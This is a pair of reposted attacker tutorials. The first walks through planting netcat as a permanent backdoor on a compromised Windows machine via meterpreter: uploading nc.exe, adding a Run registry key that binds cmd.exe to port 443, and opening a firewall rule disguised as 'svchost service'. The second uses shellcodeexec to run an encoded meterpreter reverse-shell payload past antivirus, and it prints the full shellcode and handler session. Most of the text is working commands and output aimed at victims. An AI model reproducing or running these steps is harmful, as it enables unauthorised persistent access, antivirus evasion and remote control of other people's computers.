Install netcat as permanent backdoor using metasploit

When an attacker successfully compromise a system they need to maintain the connection, that’s why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.

Are you sure netcat can be used as a backdoor? yes sure of course 

In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access. This tutorial I will write based on gaining access using java signed applet exploit in my previous tutorial.

Requirements :

1. NetCat

2. Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload)

Step By Step :

1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I’m using java signed applet from my previous tutorial).

2. The next step you need to upload your NetCat.exe to victim computer by using following command :

Code:

upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32
 
upload nc.exe and place it in C:\windows\system32 on victim computer

When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here).

3. When upload process successful it will shown like this :

4. The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. We do this by editing the key “HKLM\software\microsoft\windows\currentversion\run“.

Enumerate the supplied registry key :

Code:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

5. Then add our NetCat into start up process by running this command :

Code:

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
 
Successful set nc.

6. To check our backdoor autorun process and make sure it already added on autorun list :

Code:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

7. Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 .

run shell command from meterpreter to access command prompt, and then run :

Code:

netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443

8. When success add our firewall rule, let’s check and make sure our new rule has been added or not by using this command :

Code:

netsh firewall show portopening

9. Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :

Code:

nc -v victim_ip_address port

10. Let’s try our backdoor by restarting the victim computer by using reboot command from meterpreter orshutdown -r -t 00 from windows console and try again to connect using NetCat in step 9.

Select AllCode:

meterpreter > reboot
 
or
 
C:\windows\system32>shutdown -r -t 00

If our netcat show up a console, then we’re successful inject a NetCat backdoor to victim computer.

Countermeasures :

1. When you have activated windows firewall, make sure you also have other personal firewall installed to detect inbound or outbound packet.

Hope it’s useful 

[source: http://vishnuvalentino.com/computer/10-steps-to-use-netcat-as-a-backdoor-in-windows-7-system/]

Execute Metasploit Payloads using ShellCodeExec

According to Damel Bernardo’s Blog, this is another good way to bypass any antivirus protection.

Let’s see how it works!

Features

shellcodeexec:

• Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
• Can be compiled and works on 32-bit and 64-bit architectures.
• As far as I know, no AV detect it as malicious.
• Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx – Readable Writable and eXecutable.
• It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit’s msfpayload) to Metasploit’s msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
• Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

Example

1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Windows target:

Code:

$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
 
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA

2. Execute the Metasploit multi/handler listener on your machine. For example for a Windows target:

Code:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Windows target:

Code:

C:\WINDOWS\Temp>shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA

If you head back to the terminal where the multi/handler is running you will happily see:

Code:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E
[*] Please wait while we load the module tree...
 
[...]
 
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 673 exploits - 354 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12306 updated 7 days ago (2011.04.07)
 
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 4444
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:4444
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:4444 -> 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011
 
meterpreter > sysinfo
System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32

The tool along with compilation files for POSIX and Windows systems can be found athttps://github.com/inquisb/shellcodeexec.

[source]